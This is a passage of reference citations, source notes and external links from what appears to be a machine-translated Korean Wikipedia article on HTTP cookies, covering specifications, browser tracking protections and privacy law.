  20. ^ edbrowse 문서 버전 3.5에서는 "Netscape 스타일의 쿠키만 지원됩니다.하지만 이것은 쿠키의 가장 흔한 맛입니다.고객의 요구에 부응할 수 있을 것입니다.」이 단락은 RFC 2965의 폐지 이후 버전의 문서 Archived 2017-03-16에서 삭제되었습니다.
  21. ^ Hodges, Jeff; Corry, Bil (6 March 2011). "'HTTP State Management Mechanism' to Proposed Standard". The Security Practice. Archived from the original on 7 August 2016. Retrieved 17 June 2016.
  22. ^ "Set-Cookie2 - HTTP MDN". developer.mozilla.org. Retrieved 8 March 2021.
  23. ^ 문서번호 223799, 2007년 "Archived 2011-09-25 at the Wayback Machine" (Wayback Machine에서 아카이브된 Internet Explorer의 지속적 쿠키 및 세션별 쿠키에 대한 Microsoft 지원 설명)
  24. ^ "Maintaining session state with cookies". Microsoft Developer Network. Archived from the original on 14 October 2012. Retrieved 22 October 2012.
  25. ^ "'SameSite' cookie attribute, Chrome Platform tatus". Chromestatus.com. Archived from the original on 9 May 2016. Retrieved 23 April 2016.
  26. ^ Goodwin, M.; West (20 June 2016). "Same-Site Cookies draft-ietf-httpbis-cookie-same-site-00". tools.ietf.org. Archived from the original on 16 August 2016. Retrieved 28 July 2016.
  27. ^ "Using the Same-Site Cookie Attribute to Prevent CSRF Attacks". www.netsparker.com. 23 August 2016. Retrieved 5 April 2021.
  28. ^ "Require "Secure" for "SameSite=None". by miketaylr · Pull Request #1323 · httpwg/http-extensions". GitHub. Retrieved 5 April 2021.
  29. ^ "Browser Compatibility Testing of 'SameSite' cookie attribute".
  30. ^ "SameSite Cookie Changes in February 2020: What You Need to Know". Chromium Blog. Retrieved 5 April 2021.
  31. ^ "Temporarily rolling back SameSite Cookie Changes". Chromium Blog. Retrieved 5 April 2021.
  32. ^ "Third party domains". WebCookies.org. Archived from the original on 9 December 2014. Retrieved 7 December 2014.
  33. ^ "Number of cookies". WebCookies.org. Archived from the original on 9 December 2014. Retrieved 7 December 2014.
  34. ^ Statt, Nick (24 March 2020). "Apple updates Safari's anti-tracking tech with full third-party cookie blocking". The Verge. Retrieved 24 July 2020.
  35. ^ "Firefox starts blocking third-party cookies by default". VentureBeat. 4 June 2019. Retrieved 24 July 2020.
  36. ^ Brave (6 February 2020). "OK Google, don't delay real browser privacy until 2022". Brave Browser. Retrieved 24 July 2020.
  37. ^ Protalinski, Emil (19 May 2020). "Chrome 83 arrives with redesigned security settings, third-party cookies blocked in Incognito". VentureBeat. VentureBeat. Retrieved 25 June 2020.
  38. ^ Goel, Vinay (24 June 2021). "An updated timeline for Privacy Sandbox milestones". Google Chrome Official Blog. Retrieved 13 October 2021.
  39. ^ "Learn more about the Public Suffix List". Publicsuffix.org. Archived from the original on 14 May 2016. Retrieved 28 July 2016.
  40. ^ Mayer, Jonathan (19 August 2011). "Tracking the Trackers: Microsoft Advertising". The Center for Internet and Society. Archived from the original on 26 September 2011. Retrieved 28 September 2011.
  41. ^ Vijayan, Jaikumar. "Microsoft disables 'supercookies' used on MSN.com visitors". Archived from the original on 27 November 2014. Retrieved 23 November 2014.
  42. ^ Englehardt, Steven; Edelstein, Arthur (26 January 2021). "Firefox 85 Cracks Down on Supercookies".
  43. ^ Angwin, Julia; Tigas, Mike. "Zombie Cookie: The Tracking Cookie That You Can't Kill". ProPublica. Retrieved 1 November 2020.
  44. ^ Stolze, Conrad (11 June 2011). "The Cookie That Would Not Crumble!". 24x7 Magazine. Retrieved 1 November 2020.
  45. ^ Peng, Weihong; Cisna, Jennifer (2000). "HTTP Cookies, A Promising Technology". ProQuest. Online Information Review. ProQuest 194487945.
  46. ^ Daniel Stenberg의 말을 인용한 Jim Manico, 실제 쿠키 길이 제한 2013-07-02 Wayback Machine에서 보관
  47. ^ Lee, Wei-Bin; Chen, Hsing-Bai; Chang, Shun-Shyan; Chen, Tzung-Her (25 January 2019). "Secure and efficient protection for HTTP cookies with self-verification". International Journal of Communication Systems. 32 (2): e3857. doi:10.1002/dac.3857. S2CID 59524143.
  48. ^ 레이니, 리(2012).네트워크:새로운 소셜 운영 체제. 페이지 237
  49. ^ a b IETF HTTP 상태 관리 메커니즘, 2011년 4월, 폐지 RFC 2965
  50. ^ "Persistent client state HTTP cookies: Preliminary specification". Netscape. c. 1999. Archived from the original on 5 August 2007.
  51. ^ "Cookie Property". MSDN. Microsoft. Archived from the original on 5 April 2008. Retrieved 4 January 2009.
  52. ^ Shannon, Ross (26 February 2007). "Cookies, Set and retrieve information about your readers". HTMLSource. Archived from the original on 24 August 2011. Retrieved 4 January 2009.
  53. ^ "HTTP State Management Mechanism, The Path Attribute". IETF. March 2014. Archived from the original on 1 May 2011. Retrieved 12 May 2011.
  54. ^ "RFC 6265, HTTP State Management Mechanism, Domain matching". IETF. March 2014. Archived from the original on 1 May 2011. Retrieved 12 May 2011.
  55. ^ "RFC 6265, HTTP State Management Mechanism, The Domain Attribute". IETF. March 2014. Archived from the original on 1 May 2011. Retrieved 12 May 2011.
  56. ^ "Internet Explorer Cookie Internals (FAQ)". 21 November 2018.
  57. ^ "RFC 2109, HTTP State Management Mechanism, Set-Cookie syntax". IETF. March 2014. Archived from the original on 13 March 2014. Retrieved 4 March 2014.
  58. ^ "RFC 6265, HTTP State Management Mechanism". ietf.org. Archived from the original on 1 May 2011. Retrieved 12 May 2011.
  59. ^ "Cookies specification compatibility in modern browsers". inikulin.github.io. 2016. Archived from the original on 2 October 2016. Retrieved 30 September 2016.
  60. ^ Coles, Peter. "HTTP Cookies: What's the difference between Max-age and Expires? – Peter Coles". Mrcoles.com. Archived from the original on 29 July 2016. Retrieved 28 July 2016.
  61. ^ "Symantec Internet Security Threat Report: Trends for July–December 2007 (Executive Summary)" (PDF). XIII. Symantec Corp. April 2008: 1–3. Archived (PDF) from the original on 25 June 2008. Retrieved 11 May 2008. {{cite journal}}:Cite 저널 요구 사항 journal=(도움말)
  62. ^ Whalen, David (8 June 2002). "The Unofficial Cookie FAQ v2.6". Cookie Central. Archived from the original on 24 August 2011. Retrieved 4 January 2009.
  63. ^ "How to Manage Cookies in Internet Explorer 6". Microsoft. 18 December 2007. Archived from the original on 28 December 2008. Retrieved 4 January 2009.
  64. ^ "Clearing private data". Firefox Support Knowledge base. Mozilla. 16 September 2008. Archived from the original on 3 January 2009. Retrieved 4 January 2009.
  65. ^ "Clear Personal Information : Clear browsing data". Google Chrome Help. Archived from the original on 11 March 2009. Retrieved 4 January 2009.
  66. ^ "Clear Personal Information: Delete cookies". Google Chrome Help. Archived from the original on 11 March 2009. Retrieved 4 January 2009.
  67. ^ "Site Compatibility for Firefox 22", Mozilla Developer Network, 11 April 2013, archived from the original on 27 May 2013, retrieved 11 April 2013
  68. ^ 미야자키, 앤서니 D.(2008년), 「온라인 프라이버시와 쿠키의 이용의 공개: 소비자의 신뢰와 기대 후원에의 영향」, 공공정책·마케팅 저널, 23(봄), 19~33.
  69. ^ "Spy Agency Removes Illegal Tracking Files". New York Times. 29 December 2005. Archived from the original on 12 November 2011. Retrieved 19 February 2017.
  70. ^ "EU Cookie Directive, Directive 2009/136/EC". JISC Legal Information. Archived from the original on 18 December 2012. Retrieved 31 October 2012.
  71. ^ a b Privacy and Electronic Communications Regulations. Information Commissioner's Office. 2012. Archived from the original on 30 October 2012. Retrieved 31 October 2012.
  72. ^ "Cookies and similar technologies". ico.org.uk. 1 January 2021. Retrieved 6 June 2021.
  73. ^ a b "EUR-Lex - 62017CN0673 - EN - EUR-Lex". eur-lex.europa.eu. Retrieved 6 June 2021.
  74. ^ a b Veale, Michael; Zuiderveen Borgesius, Frederik (1 April 2021). "Adtech and Real-Time Bidding under European Data Protection Law". doi:10.31235/osf.io/wg8fq. S2CID 243311598. {{cite journal}}:Cite 저널 요구 사항 journal=(도움말)
  75. ^ Zuiderveen Borgesius, Frederik J. (August 2015). "Personal data processing for behavioural targeting: which legal basis?". International Data Privacy Law. 5 (3): 163–176. doi:10.1093/idpl/ipv011. ISSN 2044-3994.
  76. ^ a b c d Nouwens, Midas; Liccardi, Ilaria; Veale, Michael; Karger, David; Kagal, Lalana (21 April 2020). "Dark Patterns after the GDPR: Scraping Consent Pop-ups and Demonstrating their Influence". Proceedings of the 2020 CHI Conference on Human Factors in Computing Systems. Chi '20. Honolulu HI USA: ACM: 1–13. arXiv:2001.02479. doi:10.1145/3313831.3376321. hdl:1721.1/129999. ISBN 978-1-4503-6708-0. S2CID 210064317.
  77. ^ a b "EUR-Lex - 32016R0679 - EN - EUR-Lex". eur-lex.europa.eu. Retrieved 6 June 2021.
  78. ^ a b Information Commissioner's Office (2019). Update Report into Adtech and Real Time Bidding (PDF).
  79. ^ www.legifrance.gouv.fr https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000038783337. Retrieved 6 June 2021. {{cite web}}:누락 또는 비어 있음 title=(도움말)
  80. ^ "EUR-Lex - 62017CC0040 - EN - EUR-Lex". eur-lex.europa.eu. Retrieved 6 June 2021.
  81. ^ "EU cookie law: stop whining and just get on with it". Wired UK. 24 May 2012. Archived from the original on 15 November 2012. Retrieved 31 October 2012.
  82. ^ Kampanos, Georgios; Shahandashti, Siamak F. (2021). "Accept All: The Landscape of Cookie Banners in Greece and the UK". ICT Systems Security and Privacy Protection. Cham: Springer International Publishing. pp. 213–227. arXiv:2104.05750. doi:10.1007/978-3-030-78120-0_14. ISBN 978-3-030-78119-4. ISSN 1868-4238. S2CID 233219491.
  83. ^ Santos, Cristiana; Nouwens, Midas; Toth, Michael; Bielova, Nataliia; Roca, Vincent (2021), Gruschka, Nils; Antunes, Luís Filipe Coelho; Rannenberg, Kai; Drogkaris, Prokopios (eds.), "Consent Management Platforms Under the GDPR: Processors and/or Controllers?", Privacy Technologies and Policy, Cham: Springer International Publishing, vol. 12703, pp. 47–69, arXiv:2104.06861, doi:10.1007/978-3-030-76663-4_3, ISBN 978-3-030-76662-7, S2CID 233231428, retrieved 6 June 2021
  84. ^ "P3P: The Platform for Privacy Preferences". www.w3.org. Retrieved 15 October 2021.
  85. ^ Zuiderveen Borgesius, F.J.; Kruikemeier, S.; C Boerman, S.; Helberger, N. (2017). "Tracking Walls, Take-It-Or-Leave-It Choices, the GDPR, and the ePrivacy Regulation". European Data Protection Law Review. 3 (3): 353–368. doi:10.21552/edpl/2017/3/9. hdl:11245.1/dfb59b54-0544-4c65-815a-640eae10668a.
  86. ^ "Guidelines 05/2020 on consent under Regulation 2016/679 European Data Protection Board". edpb.europa.eu. Retrieved 6 June 2021.
  87. ^ "A Loophole Big Enough for a Cookie to Fit Through". Bits. The New York Times. 17 September 2010. Archived from the original on 26 January 2013. Retrieved 31 January 2013.
  88. ^ Pegoraro, Rob (17 July 2005). "How to Block Tracking Cookies". Washington Post. p. F07. Archived from the original on 27 April 2011. Retrieved 4 January 2009.
  89. ^ Francisco, Thomas Claburn in San. "What's CNAME of your game? This DNS-based tracking defies your browser privacy defenses". www.theregister.com. Retrieved 6 June 2021.
  90. ^ Dimova, Yana; Acar, Gunes; Olejnik, Lukasz; Joosen, Wouter; Van Goethem, Tom (5 March 2021). "The CNAME of the Game: Large-scale Analysis of DNS-based Tracking Evasion". arXiv:2102.09301 [cs.CR].
  91. ^ Wired Hack, Wayback Machine에서 2014-03-26 아카이브된 주요 웹사이트용 위조 인증서 9개 획득
  92. ^ a b c Finkle, Jim (25 May 2011). "Microsoft latest security risk: 'Cookiejacking'". Reuters. Archived from the original on 30 May 2011. Retrieved 26 May 2011.
  93. ^ Whitney, Lance (26 May 2011). "Security researcher finds 'cookiejacking' risk in IE". CNET. Archived from the original on 14 June 2011. Retrieved 6 September 2019.
  94. ^ Fielding, Roy (2000). "Fielding Dissertation: CHAPTER 6: Experience and Evaluation". Archived from the original on 27 April 2011. Retrieved 14 October 2010.
  95. ^ Tilkov, Stefan (2 July 2008). "REST Anti-Patterns". InfoQ. Archived from the original on 23 December 2008. Retrieved 4 January 2009.
  96. ^ Hoffman, Chris. "What Is a Browser Cookie?". How-To Geek. Retrieved 3 April 2021.
  97. ^ "The cookie is dead. Here's how Facebook, Google, and Apple are tracking you now, VentureBeat, Mobile, by Richard Byrne Reilly". VentureBeat. 6 October 2014. Archived from the original on 24 July 2017. Retrieved 31 August 2017.
  98. ^ "Window.sessionStorage, Web APIs MDN". developer.mozilla.org. Archived from the original on 28 September 2015. Retrieved 2 October 2015.
  99. ^ "Introduction to Persistence". microsoft.com. Microsoft. Archived from the original on 11 January 2015. Retrieved 9 October 2014.
  100. ^ "Isolated Storage". Microsoft.com. Archived from the original on 16 December 2014. Retrieved 9 October 2014.
  101. ^ "BrowserSpy". gemal.dk. Archived from the original on 26 September 2008. Retrieved 28 January 2010.
  102. ^ "IE "default behaviors [sic]" browser information disclosure tests: clientCaps". Mypage.direct.ca. Archived from the original on 5 June 2011. Retrieved 28 January 2010.
  103. ^ Eckersley, Peter (17 May 2010). "How Unique Is Your Web Browser?" (PDF). eff.org. Electronic Frontier Foundation. Archived from the original (PDF) on 15 October 2014. Retrieved 23 July 2014.

원천

  • Anonymous, 2011년쿠키재킹 공격이 웹 사이트 액세스 자격 증명을 도용합니다.Informationweek - 온라인, 페이지Informationweek - 2011년 5월 26일 온라인.

외부 링크

이 기사 듣기 (1시간 1분)
Spoken Wikipedia icon
이 오디오 파일은 2016년 5월 28일(2016-05-28) 본 문서의 개정판에서 작성되었으며 이후 편집 내용은 반영되지 않습니다.
(오디오 도움말, 기타 음성 기사)
Wikimedia Commons에는 HTTP 쿠키와 관련된 미디어가 있습니다.